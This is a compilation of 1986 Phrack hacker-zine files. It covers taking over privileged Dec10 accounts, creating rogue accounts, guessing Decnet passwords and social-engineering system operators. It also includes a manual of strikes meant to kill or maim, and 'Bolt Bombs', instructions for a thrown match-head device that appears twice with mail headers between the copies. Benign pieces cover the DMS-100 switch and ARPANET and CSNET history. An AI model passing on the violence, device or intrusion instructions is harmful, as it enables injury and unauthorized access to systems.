What almost every hacker wants when he logs onto a system is an account with privileges. If we have an account with privileges we can make our own account and do some other worth while things. Now on a Dec10 a prived account almost always begins with a '1'. Ex‑ 1,10. Now we can check the system status (sys) and see if we see anyone under a 1,x account. If we do then we can begin hacking the password. Now if you get in under '1,2' well that's another story. Hehe. Now say we do get in under a privileged account. Now first of all to activate our prived accounts we would type 'enable' this will either give us a '$' prompt or a '#' prompt. Whichever, it doesn't matter. We can still do what we have to do. Now let's say we want to make up a nice account, we would type‑

$Build[x,x] or Create[x,x]

After we do that we can edit that PPN or if it's new make up our own. Now, I should've mentioned this before but, if you get in on a 1,x account make sure there is not another user logged in under the same account. If it is they may change the password, but even if they are in 'exe' and may be detached we don't want to take any chances now. Now I suggest going on in the late evening, early morning or if your home from school one day just call at noon or so.

There are many different levels of privs, there's the operator, wheel, and CIA. CIA being the highest since you can do anything and everything. Now if you have operator privs you can do the above which was make up an account and create a nice directory. This will also be nice when attempting to get into Decnet.

Now also if you make up a prived account, you should type‑

Help Phones <as I mentioned before>

At the main prompt. You will get a list of phone numbers including the system operator's number and system managements. Now they are open usually from 10am to 5pm. Call during those hrs. and ask them if you can have a Decsystem timesharing guide. They will ask you questions like what's your name, PPN and password so have that ready. If they ask you why didn't you already receive one, just say you've just gotten a account and you were never informed about the manual.

This manual is very helpful. It will tell you commands, explain them in detail, new features, games, etc. Don't order the manual the day you get your account, wait maybe 4 days or so, then give them a call. They will usually send it out the next day, unless they get lazy like most of the system operators do. It's usually safe to have it sent to your house, but if you feel nervous well get it sent to another place.

[Mail Subsystem]

Sometimes you may know of a friend who also has an account on the same Dec10 you are on. Your friend may not be on the system right now, so that eliminates sending messages to him. But there is 1 alternative which is to send mail. With mail you need the person's name. To access mail type‑

Run Mail

You will then receive the prompt 'MailC', at this prompt you type‑

MailC:Send

Now you will be asked questions on who you want to send the mail to. It will look something like this‑

.Run Mail

MailC:Send

to:Death Hatchet

Subject:Disk Crash

Text:

Yo! My file disk got ruined with //e Writer. See ya.

Now when your finished with your text just type '.done' or '.d' on a blank line to indicate that your finish. The Dec10 will reply by saying‑

Death Hatchet‑‑Sent

‑and will return you to the 'MailC' prompt. Now if you wanted to send the same message to two people you would do everything I did above except when it says 'to:' you would type‑

To:Death Hatchet,The Rico

The only difference is the comma. You MUST have the comma separate the two names in order for the system not to take it as one whole name. Once the mail has been sent, the user Death Hatchet will receive it when he logs on. After he gets the little welcome messages and his stats from when he last logged on, the mail will automatically be read to him like this‑

From:Carrier Culprit Postmark:20‑Mar‑86‑08:12:27 to:Death Hatchet

Subject:Disk Crash

Yo! My file disk got ruined with //e Writer. See ya.

It will then read other pieces of mail if he has any more. If not, it will just go to the main prompt. If you want to read the mail again, go to the mail section and type 'read' instead of send. You will then be able to save it for your next call or kill it. Sometimes mail won't show up when you first logon so go to the mail section anyway and check just in case.

On some of the older Dec10 systems mail was not used, you would just send a message. Mail was added to the Dec10 system in the mid 70's. No big deal, but just something to know. If you run mail and you don't get into the mail section try 'run mai'. The 'run mai' is used on some of the earlier systems, but usually the system acknowledges both.

Never send violent mail to system operators, they will log you off and do away with your account. If you do, I suggest having another account (PPN) on hand. On some of the newer Dec10 systems, you can forward mail, which you do by typing 'Frd Mail' at the 'MailC' prompt. The system will then ask you where you want it forwarded to, their password, your password. The system operator views this and checks with both parties and he/she will leave you mail saying that it is done. This is really being tested but I've seen it in operation on some Dec10's in 714.

[Information]

This is another handy command that can be used to your advantage. It gives you information on jobs and PPN's. You don't get passwords but you can get some good stats. If you type 'info' or 'help info' you will get a list that would look something like this‑

To look at one of the following do‑‑ Info XXXX

Switch Meaning

====== ====

. Information on your job

[??,??] Information on that PPN

ALL Information on all PPN's

ALL:LOPR Information on all Local Operator Jobs(1,2) ALL:OPR Information on all Operator jobs (1,2) ALL:ROPR Information on all Remote Operator jobs ALL:Users Information on all users Batch Information on all batch jobs Detached:ALL Information on all Detached PPN'S Detached:OPR Information on all Detached Operator jobs Detached:Users Information on all Detached users Detached:LOPR Information on all Local Operator jobs

And the list goes on. If you want the whole list just type 'Help Info'. It will also give info on disk devices, directories, and other stuff. Some of the Dec10 systems don't support this, but you will find that most of them do.

The '1,2' which is next to the Operators are system operator accounts. I mentioned that before, so you won't get confused. Most files are kept under this account so if you get in under it you'll have a lot to do....hehehe.

[Watch]

This command will show you your stats. You will be able to toggle it. You can toggle it on which will display on the top of your screen or just look at it once. The watch will show you‑

Run‑‑‑which means your CPU time.

Wait‑‑which means your elapsed time since started.

Read‑‑number of disk blocks you have read.

Write‑‑number of disk blocks you have written.

If you have system privs, type‑

Watch[x,x]

You can watch another person if you have these privs. It will also show you information. Many operators use this so be careful in what you type.

[Other commands]

If you want to find out some information about someone type‑

Who Their name job# TTY

Now I could do something like‑

Who Carrier Culprit 4 #7

This is saying that Carrier Culprit is logged in on job 4 and is on TTY #7. The monitor will also display the user's PPN, and other information dealing with his status on the system.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Now if you notice one of your friend's are on TTY10 and you want to send him a message you can type‑

Send TTY10 Congratulations on passing your exam

The user on TTY10 will receive the message and may have the capability of replying. You can also use this to meet new friends, especially a system operator who is pretty cool and can give you some accounts, but don't count on it.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you would like to talk to someone one on one, you can type‑

Talk TTY10

You will now be able to talk to each other, chat, but like I said, watch what you say sometimes, but don't get to paranoid that the system operator is watching. Usually if the system operator is under 'Watch' or 'Exe' he may be watching a certain user. This is just basically a chat system, so have fun with it.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you have a prived account go into 'enable' and type‑

Whostr

This will give information about users logged in and the directories.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

If you need the time, just type 'time'. If you have math homework just type 'aid' for desktop calculator.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ctrl‑characters Case Commands

=============== ===

ctrl‑s = pause If you support lower case type: ctrl‑q = resume 'Set Terminal LC'

ctrl‑c = abort

ctrl‑h = backspace

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

[Decnet]

Is supported by all Digital computers. To access it, type 'Decnet' and try to hack out the password. Decnet supports such nodes as, VMS, TOPS10 (operating system for Dec10's), TOPS20, and others. Usually system operator's accounts can be helpful if you need a Decnet pw. Try their pw and see if it works. Usually the password to Decnet can be plain old "Decnet". Format= Set Host xxxx

[Acsnet]

This is probably my favorite. This supports Dec10, and many other computers. When you log on to it, it will look something like this‑

ACSNET

Fri Mar 13 19:30:23 1986

Port ID: dialup C502 at 300 baud

dialup C502 with even parity

>

Now to get a menu type '?'. It will give you a list of groupnames. To enter the Dec10 type 'Acsdec10', usually Decnet is not listed so type Decnet anyway. Other commands for ACSNET are‑

Connect Daytime

Hangup Disconnect

Info Help

Release Resume

Set WhoamI

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Hmm. Knew I forgot something. To log off the Dec10, just type‑

Bye or Kjob (kill job)

Part II: This will deal with the 1,2 PPN and advanced commands using Enable.

Have fun,

$$$$$$$$$$$$$$$$$$$$$‑>Carrier Culprit<‑$$$$$$$$$$$$$$$$$$$$$

[END]

Revised Edition

(C)opyright April, 1986

Hand to Hand Combat

==Phrack Inc.==

Volume One, Issue Five, Phile #4 of 12

+‑‑‑‑‑‑‑‑‑‑‑

| Hand‑To‑Hand Combat |

|

| by |

|

| [bad boy in black] |

+‑‑‑‑‑‑‑‑‑‑‑

on

^*^ 3/31/86 ^*^

________________________________________

This file will teach you how you can kill another person with your own two hands. The information presented here will be very helpful to the beginner and will also serve as a refresher for those of you already familiar with the subject.

I will start off by talking about basic things such as stance, what you should and shouldn't do when fighting and other information that the beginner will need to know. Then, I will give you a list of over 20 vulnerable points that one should always try attacking in a fight along with the way these points should be attacked. Finally, I will give you some more fighting tips and information on how you can continue learning about hand‑to‑hand combat.

^*

Now, let me discuss some of the basics you will need to know when you are in any combat situation.

Stance

‑‑‑‑‑‑

The best stance when confronting an enemy is to put your feet at shoulders length apart and your arms should be facing forward, parallel to each other and bent at the elbows. Keep your knees slightly bent and stand on the balls of your feet.

Remember, you always want to maintain this stance when you are not striking at the enemy.

Balance

‑‑‑‑‑‑‑

It is always important that you keep your balance. If you use the stance I have described above, you will never have to worry about it. If by chance you do lose your balance even for a second you can kiss your ass goodbye as the enemy will probably kill you.

Aggressiveness

‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Always be aggressive and always attack. Don't just stand back and defend yourself against the enemy's strikes as he will end up killing you eventually. If you are not aggressive, the enemy will think you are scared and he will have an advantage over you.

A great thing to do is yell at the enemy. This will scare the shit out of him if you start yelling at him and plus it also allows you to get more oxygen in your lungs so you will have more strength.

Natural Weapons

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Your natural weapons are as follows: knife edge of either hand, the heel of your hands, your fingers folded at the second knuckle, your boot, your elbow, your knees, your teeth, your fore finger and second finger forming a "V" shape, and your fist. These body parts alone are some of the most powerful weapons you can use.

^*

Since you now know the basics of fighting, let me list for you the best places where you should strike your enemy.

Temple

‑‑‑‑‑‑

A sharp blow to the temple ensures instant death since there is a large artery and nerve located close to the skin surface. If you give a medium blow to the temple it will cause severe pain and concussion but a hard blow will kill the enemy instantly. The best way to strike the temple is with the knife edge of your hand or if he is on the ground you can kick him with the toe of your boot.

Eyes

‑‑‑‑

The eyes are a great place to strike if you can since a good strike in the eyes will cause temporary or permanent blindness. To blind the enemy, make a "V" shape with your fore finger and second finger and stick them into his eyes while keeping your fingers stiff. Also, you can gouge the eyes with your thumb.

Nose

‑‑‑‑

The nose is another excellent place to attack. Hit the bridge with the knife edge of your hand and you will cause breakage, severe pain, temporary blindness and even death. Or you can use the palm of your hand to strike upwards and push the nose up into his brain. If done hard enough the nose bone will puncture his brain and he will die.

Upper Lip

‑‑‑‑‑‑‑‑‑

The upper lip contains a lot of nerves close to the skin surface so if you strike it with the knife edge of your hand it will cause great pain and if delivered hard enough he will become unconscious.

Mouth

‑‑‑‑‑

If the enemy is on the ground, use the heel of your boot and strike him on the mouth. Since there are a lot of veins and arteries in the teeth there will be a lot of blood which will frighten the enemy and he will lose concentration on defending other parts of his body.

Chin

‑‑‑‑

The chin should only be struck with the palm of your hand as you can break your fingers on the enemy's chin. Use the palm of your hand and strike the enemy with a very strong upward blow. This will cause extreme discomfort.

Adam's Apple

‑‑‑‑‑‑‑‑‑‑‑‑

Usually the enemy will defend this part of his body well but if you do get the chance give it a sharp hit with the knife edge of your hand. If you hit it hard enough you will bust his windpipe and he will die. You can also squeeze the Adam's Apple between your fingers.

Esophagus

‑‑‑‑‑‑‑‑‑

If you have a chance to get a hold of his neck, press your thumbs into his esophagus (located below the Adam's Apple). Pushing hard will be very painful and it will block the oxygen flow to his lungs and he will die quickly.

Neck

‑‑‑‑

If you give a very strong blow to the base of the neck with the knife edge of your hand you will usually break it. However, if it is not hard enough, the enemy might just be knocked unconscious so be sure to hit him in the temple or twist his neck around to be sure he is dead. The neck is the best place to hit someone if you want to be quiet as it is quick and the enemy goes down without a word.

Collar Bone

‑‑‑‑‑‑‑‑‑‑‑

The collar bone is an extremely sensitive part of the body. A sharp blow to it with the knife edge of your hand or your elbow gives the enemy excruciating pain. Also, digging your finger into the collar bone can bring your enemy to his knees.

Shoulder

‑‑‑‑‑‑‑‑

The shoulder is easy dislocated and it takes little strength to do. However, it should be done quickly. Grab the enemy's arm and pull it behind his back and then jerk it upwards quickly. You should here a popping sound which means you have dislocated the enemy's shoulder. There are other methods of doing this but this is the easiest.

Armpit

‑‑‑‑‑‑

Although it is hard to get at, the armpit has a large network of nerves. If the enemy is on the ground, hold up his arm and then kick him in his pit. This will cause severe pain. However, it is not a very common place that will be struck in a fight but is good to keep in mind anyways.

Rib Cage

‑‑‑‑‑‑‑‑

A strike to the rib cage with your fingers folded at the second knuckle is rather painful and if done hard enough causes severe pain and breakage. Only use your fingers folded at the second knuckle since that hurts the most.

Solar Plexus

‑‑‑‑‑‑‑‑‑‑‑‑

The solar plexus is located on the chest at the little "V" shaped point where the rib cage ends. There are a large amount of nerves so a blow with the knuckle of your second finger can cause severe pain and even unconsciousness.

Floating Ribs

‑‑‑‑‑‑‑‑‑‑‑‑‑

The floating ribs are the lower ribs located at the front and sides of the enemy's body. Use the knife edge of your hand or the heel or toe of your boot. The blow will cause pain and will stun the enemy.

Spine

‑‑‑‑‑

A blow to the spine with the heel of your boot can paralyze or kill your enemy. The lower spine between the enemy's kidneys is the best place to hit as that is the least protected part of the spine. You will only be able to attack the spine when your enemy is on the ground or if his back is turned to you.

Kidneys

‑‑‑‑‑‑‑

The kidneys have two large nerves that are close to the skin surface. If you strike the kidneys hard it will cause death. You can use a fist or the knife edge of your hand to hit the kidneys. Or a kick with the heel of your boot will work too.

Groin

‑‑‑‑‑

The groin is a good place to strike if you get the chance. Generally, the enemy will protect this area the most but if you have a chance, strike it with your knee in an upward motion or with your fist. I'm sure you can imagine the pain the enemy will get from it.

Tailbone

‑‑‑‑‑‑‑‑

The tailbone which is located above the anus is a very sensitive part of the body as a lot of spinal nerves are located there. Use the toe of your boot to strike the tailbone. The pain from that is unbelievably severe.

Elbow

‑‑‑‑‑

The elbow is easy to break or dislocate. Pull the enemy's arm behind him and with the palm of your hand push his elbow inwards until it either cracks or pops. When the enemy has a useless arm, you have a great advantage over him.

Fingers

‑‑‑‑‑‑‑

The fingers should be broken because the enemy becomes almost helpless with broken fingers. Grab the enemy's arm with one hand and with the other hand push the fingers upwards until they snap. It is only necessary to break the first two fingers. It is also helpful in breaking a grip.

Knee

‑‑‑‑

You can destroy the knee by kicking it with the side of your boot in an upward motion. This will rip the ligaments and the cartilage. This will cause unbelievable pain and make it impossible for the enemy to move around. Once a knee has been ruined, you will have a great advantage over the enemy.

Ankle

‑‑‑‑‑

If the enemy is on the ground, get a hold of his ankle and twist it until it snaps. This will make it almost impossible for him to walk and he will then be easy to kill.

^*

Let me talk about some more important things you should remember when you are fighting somebody.

Tactics

‑‑‑‑‑‑‑

Always try to throw your enemy off balance. You can do this by charging the enemy and pretending to strike him. This will make him flinch and lose his balance.

Always look for a weak spot and attack it. Whenever he leaves a vulnerable part of his body unprotected attack it with all your strength. By doing this, he will then try to protect the part of his body that you just struck thus leaving even more unprotected parts open.

Use any available object that you can. By this I mean throw sand in his eyes, block his strikes by hitting him with a large branch, or any other kind of available material that can be used as a weapon against him.

Foul Play

‑‑‑‑‑‑‑‑‑

In a life or death situation there is no such thing as foul play and there are no rules either. Although hitting someone in the groin is considered a cheap shot in high school, it is a very effective way of destroying your enemy. Just hit him where you can and kick him when he's down. That way, he will never get back up again.

^*

I have now explained to you the basics of fighting and the best places to attack your enemy on his body. Just because you have read this file doesn't mean you will be able to go out and kick somebody's ass in. These methods take a lot of practice in order to do them properly.

If you enjoyed this file and would like to practice these methods get a partner who is also interested in this and work on each type of strike and kick. When you first start out, go slowly and remember that these methods are deadly and do not require much force to be effective so take it easy on your partner.

Some of you may decide that practicing is not enough and you would like to learn more than what I have told you in the above. Well, there are several good books with illustrations on this subject which go into much more detail than I ever could in this file. The book I used mainly to write this file was "The Marine Corps Field Manual on Physical Security". You can get this book through a good book store or if you happen to know a marine, he can get you a copy very easily.

There are also camps where you can go for 1‑2 weeks to learn all sorts of things like this such as firing weapons, detailed hand‑to‑hand combat, doing raids on enemies and all sorts of other stuff like that. The instructors that teach these programs are well trained and have had years of experience with this. However, usually you have to be 18 years or older to get into these programs and you have to be very serious about it as well. This is not one of those programs where you can say "Time‑out, I need to rest." They don't stop just to suit you. To get more information about these programs, you can usually find out about them in magazines like "Soldier of Fortune" and other magazines with similar theme.

^*

Well, that's it for now. Perhaps in the future I can discuss the fun stuff like fighting people with knives and all the other lethal weapons you can use in a fight. If you liked this file, let me know and I will continue on with this subject.

________________________________________

DMS-100

==Phrack Inc.==

Volume One, Issue Five, Phile #5 of 12

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

@ _ _

@ | \/ |

@ |_||_|etal / /hop @

@ _______

@ /_______

@ Private/AE/Brewery @

@

@ Presents: @

@

@ Digital Multiplex System (DMS) 100 @

@ by @

@ Knight Lightning @

@

@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@

This file is of course about DMS 100. Expect full length files about the other variations of DMS (DMS 200 & 250) coming a later date. Much of the information in this file was obtained from manuals acquired from Jester Sluggo. Note: IBN stands for Integrated Business Network.

________________________________________

DMS‑100

‑‑‑‑‑‑‑

The DMS‑100/IBN consists of electronic business sets and standard telephones, data units, and attendant consoles, all located on the customer's premises; and DMS‑100 digital switching, and support hardware/software, located at the telephone company's premises. Together they create an integrated business communications network that provides an unparalleled combination of features and benefits.

o DMS‑100/IBN integrates voice and data in a total business communications system.

o Effectively serves all sizes of organizations, from small businesses using only a few lines, to the most complex network systems with up to 30,000 lines.

o The IBN system monitors and controls its own operations automatically; diagnoses problems; and in some cases, does its own repairs.

o Fully modular, to meet present needs, and accommodate new features as they are needed.

o Cost effective: Helps control communications costs through more efficient use of facilities; centralization of attendant service where needed; Call Dial Rerouting (CDR) to control and restrict long‑distance calling; and network management.

o Worry free operation‑Northern Telecom's DMS‑100 digital switches are backed up by highly trained telephone company personal.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Some of the other features that DMS 100 has include:

o Automatic Route Selection ‑ automatically routes long distance calls over the most economical route available.

o Station Message Detail Recording ‑ provides a detailed record of long distance charges, including the originating number, time, and duration, authorization code, etc.

o Direct Inward System Access (DISA) ‑ enables company personnel to use cost‑saving company facilities for long distance calling, even from outside the company.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

System Features and Benefits

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Note: I will list all the features, but I will only go into detail about the important ones.

ATTENDANT CONSOLE

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Call Waiting Lamp

Loop Keys ‑ There are 6 loop keys, each with its associated source and destination lamp to indicate the calling and called party states. Alphanumeric Display

Multiple Directory Numbers

Feature Keys ‑ Up to a total of 42. Some of them could be used for Speed Calling and Paging System.

Incoming Call Identifier

Exclude Source/Exclude Destination ‑ privacy keys

Signal Source/Signal Destination: Release Source/Release Destination

Console Features

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Access to paging Call hold

Call detail entry Remote console

Call Selection Console display

Camp‑on Automatic recall

Conference ‑ 6 port Two‑way splitting Non‑delayed operation Attendant transfer

Locked loop operation Busy verification of lines Manual and automatic hold Multiple console operation Busy verification of trunks Switched loop operation Trunk group busy indication Uniform call distribution form queue Multiple listed directory numbers Control of trunk group access

Secrecy Night service

Serial call Speed calling

Lockout Delayed operation

Position busy Interposition calling Through dialing

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

ELECTRONIC BUSINESS SETS

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

LCD Indicators

Call Forwarding

Automatic Line

Call Pick‑up

Ring Again ‑ automatically redials busy numbers until they are free Multiple Directory Numbers

Intercom

Speed Call

Call Transfer/Conference

On‑Hook Dialing

Additional Programmable Features

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Automatic Hold

Listen‑on Hold

Multiple Appearance Directory Numbers (MADN)

‑ Single Call Arrangement

‑ Multiple Call Arrangement

Privacy Release

Tone Ringing with Volume Control

End‑to‑End Signaling

Call Park

Make Set Busy

Malicious Call Trace

Busy Override

Attendant Recall

Call Waiting

Stored Number Redial

Private Business Line

32 Character Alphanumeric Display

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

DATA UNIT

‑‑‑‑‑‑‑‑‑

The DMS‑100/IBN Data Unit makes information accessing as easy to learn and to use as the telephone. It can be used as a "Standalone" or attached to the Business Set or standard telephone, for integrated voice and data telephone telecommunications.

Transmits over simple 2‑wire loops, at speeds of up to 56 kb/s, using Northern Telecom's proprietary Time Compression Multiplexing technology; Compatible with existing computer and data terminal equipment, and is available in different low‑speed and high‑speed models, to suit existing terminal capacity.

Benefits

‑‑‑‑‑‑‑‑

o Combines with Business Set or standard telephone, to provide integrated voice/data communications.

o Your data unit and telephone can operate together simultaneously or totally independent of each other.

o Fully digitalized, eliminating bulky analog modems.

o Ring Again (constant redial on busy numbers)

o Speed Calling

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

For further information contact:

Digital Switching Systems Sales

Northern Telecom Inc.

P.O. Box 13010

4001 East Chapel Hill ‑‑ Nelson Highway

Research Triangle Park

North Carolina 27709

Tel: (919) 549‑5000

Switching Group Sales, Department S‑70

Northern Telecom Canada Limited

8200 Dixie Road, P.O. Box 3000

Brampton, Ontario

L6V 2M6

Tel: (416) 451‑9150

________________________________________

==Phrack Inc.==

Volume One, Issue Five, Phile #6 of 12

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

|\_______________________ A new Anarchy toy!____________________________/ |

|_____________________________________

\_____________________________________

<otherwise known as "Know Your Hardware">

Written and typed by the Leftist.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This new "bomb" isn't really all that destructive, although I would hate to be nailed in the head by a flying piece of it. Use it to scare dogs, and to just raise hell.

Materials: You will need‑ 1 nut, fairly large in size, 2 bolts, both the same size, which will both be the correct size to fit in the nut. You will also need a box of strike‑anywhere wooden kitchen matches.

Design: Ok, you got all your stuff? Let's begin. Take one of the bolts and the nut and screw it about 1/4 the way onto the nut. It should look like this <sort of>

___

| |____________

| _|_|___|__|_

|__|

bolt ^ ^

|nut |

Ok, take the matches, and there should be a 2 colored tip on the end. Well, cut the top layer off (this should be done with a razor blade) carefully, as to not set the matches off. Ok. Got that? Good, now, take about, oh, four or five heads, or if you're feeling kind of dangerous, and can fit them, try six. Put the heads <white part> into the space that is between the other side of the bolt and the nut. Now, carefully, take the other bolt and screw it down kind of tight onto the other side. You now should have the 2 bolts connected by the nut, and the matches in between this whole hardware contraption.

Now what??!?

Take this thing, and throw it at something solid, and hard, like the street, for instance, and be sure you throw it kinda hard, and kinda far. These can be a lot of fun, and only take a second to build.

Received: (from LISTSERV@PSUVM for TK0EEE1@UCLAMAIL via NJE) (LISTSE00‑7268; 153 LINES); Tue, 19 Dec 89 17:45:31 CST Date: Tue, 19 Dec 89 17:45 CST

To: TK0EEE1

From: LISTSERV@PSUVM

Bolt Bombs

==Phrack Inc.==

Volume One, Issue Five, Phile #6 of 12

+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=

|\_______________________ A new Anarchy toy!____________________________/ |

|_____________________________________

\_____________________________________

<otherwise known as "Know Your Hardware">

Written and typed by the Leftist.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

This new "bomb" isn't really all that destructive, although I would hate to be nailed in the head by a flying piece of it. Use it to scare dogs, and to just raise hell.

Materials: You will need‑ 1 nut, fairly large in size, 2 bolts, both the same size, which will both be the correct size to fit in the nut. You will also need a box of strike‑anywhere wooden kitchen matches.

Design: Ok, you got all your stuff? Let's begin. Take one of the bolts and the nut and screw it about 1/4 the way onto the nut. It should look like this <sort of>

___

| |____________

| _|_|___|__|_

|__|

bolt ^ ^

|nut |

Ok, take the matches, and there should be a 2 colored tip on the end. Well, cut the top layer off (this should be done with a razor blade) carefully, as to not set the matches off. Ok. Got that? Good, now, take about, oh, four or five heads, or if you're feeling kind of dangerous, and can fit them, try six. Put the heads <white part> into the space that is between the other side of the bolt and the nut. Now, carefully, take the other bolt and screw it down kind of tight onto the other side. You now should have the 2 bolts connected by the nut, and the matches in between this whole hardware contraption.

Now what??!?

Take this thing, and throw it at something solid, and hard, like the street, for instance, and be sure you throw it kinda hard, and kinda far. These can be a lot of fun, and only take a second to build.

Received: (from LISTSERV@PSUVM for TK0EEE1@UCLAMAIL via NJE) (LISTSE00‑7268; 153 LINES); Tue, 19 Dec 89 17:45:31 CST Date: Tue, 19 Dec 89 17:45 CST

To: TK0EEE1

From: LISTSERV@PSUVM

Wide Area Networks Part 1

==Phrack Inc.==

Volume One, Issue Five, Phile #7 of 12

Jester Sluggo presents

an insight on

Wide‑Area Networks

Part 1

Part 1 contains information on ARPANET and CSNET. Part 2 contains information on BITNET, MFENET, UUCP and USENET. It is best if you read both files to better understand each other.

These files will cover general information on wide‑area networks, (I.E. ARPANET, CSNET, BITNET, MFENET, UUCP and USENET), but may contain information in relationship with other networks not emphasized in these files. These files are NOT a hacker's tutorial/guide on these systems.

ARPANET

~~~~

ARPANET. The ARPANET, which is a major component of the NSFnet [National Science Foundation Network], began in 1969 as an R&D project managed by DARPA [Dept. of Defense Advanced Research Projects Agency]. ARPANET was an experiment in resource sharing, and provided survivable (multiply connected), high bandwidth (56 Kilobits per second) communications links between major existing computational resources and computer users in academic, industrial, and government research laboratories. ARPANET is managed and funded by by the DCA [Defense Communications Agency] with user services provided by a network information center at SRI International.

ARPANET served as a test for the development of advanced network protocols including the TCP‑IP protocol suite introduced in 1981. TCP‑IP and particularly IP, the internet protocol, introduced the idea of internetworking ‑‑ allowing networks of different technologies and connection protocols to be linked together while providing a unified internetwork addressing scheme and a common set of transport of application protocols. This development allowed networks of computers and workstations to be connected to the ARPANET, rather than just single‑host computers. TCP‑IP remain the most available and advanced, non‑vendor‑specific, networking protocols and have strongly influenced the current international standards of activity. TCP‑IP provide a variety of application services, including remote logon (Telnet), file transfer (FTP), and electronic mail (SMTP and RFC822). ARPANET technology was so successful that in 1982, the Dept. of Defense (DOD) abandoned their AUTODIN II network project and adopted ARPANET technology for the Dept. of Defense Data Network (DDN). The current MILNET, which was split form the original ARPANET in 1983, is the operational, unclassified network component of the DDN, while ARPANET remains an advanced network R&D tested for DARPA. In practice, ARPANET has also been an operational network supporting DOD, DOE [Dept. of Energy], and some NSF‑sponsored computer science researchers. This community has come to depend on the availability of the network. Until the advent of NSFnet, access to ARPANET was restricted to this community.

As an operational network in the scientific and engineering research community, and with the increasing availability of affordable superminicomputers, ARPANET was used less as a tool for sharing remote computational resources than it was for sharing information. The major lesson from the ARPANET experience is that information sharing is a key benefit of computer networking. Indeed it may be argued that many major advances in computer systems and artificial intelligence are the direct result of the enhanced collaboration made possible by ARPANET.

However, ARPANET also had the negative effect of creating a have‑‑have not situation in experimental computer research. Scientists and engineers carrying out such research at institutions other than the twenty or so ARPANET sites were at a clear disadvantage in accessing pertinent technical information and in attracting faculty and students.

In October 1985, NSF and DARPA, with DOD support, signed a memorandum of agreement to expand the ARPANET to allow NSF supercomputer users to use ARPANET to access the NSF supercomputer centers and to communicate with each other. The immediate effect of this agreement was to allow all NSF supercomputer users on campuses with an existing ARPANET connection to use ARPANET. In addition, the NSF supercomputer resource centers at the University of Illinois and Cornell University are connected to ARPANET. In general, the existing ARPANET connections are in departments of computer science or electrical engineering and are not readily accessible by other researchers. However, DARPA has requested that the campus ARPANET coordinators facilitate access by relevant NSF researchers.

As part of the NSFnet initiative, a number of universities have requested connection to ARPANET. Each of these campuses has undertaken to establish a campus network gateway accessible to all due course, be able to use the ARPANET to access the NSF supercomputer centers, from within their own local computing environment. Additional requests for connection to the ARPANET are being considered by NSF.

CSNET

~~~

CSNET. Establishment of a network for computer science research was first suggested in 1974, by the NSF advisory committee for computer science. The objective of the network would be to support collaboration among researchers, provide research sharing, and, in particular, support isolated researchers in the smaller universities.

In the spring of 1980, CSNET [Computer Science Network], was defined and proposed to NSF as a logical network made up of several physical networks of various power, performance, and cost. NSF responded with a five year contract for development of the network under the condition that CSNET was to be financially self‑supporting by 1986. Initially CSNET was a network with five major components ‑‑ ARPANET, Phonenet (a telephone based message relaying service), X25Net (suppose for the TCP‑IP Protocol suite over X.25‑based public data networks), a public host (a centralized mail service), and a name server (an online database of CSNET users to support transparent mail services). The common service provided across all these networks is electronic mail, which is integrated at a special service host, which acts as an electronic mail relay between the component networks. Thus CSNET users can send electronic mail to all ARPANET users and vice‑versa. CSNET, with DARPA support, installed ARPANET connections at the CSNET development sites at the universities of Delaware and Wisconsin and Purdue University.

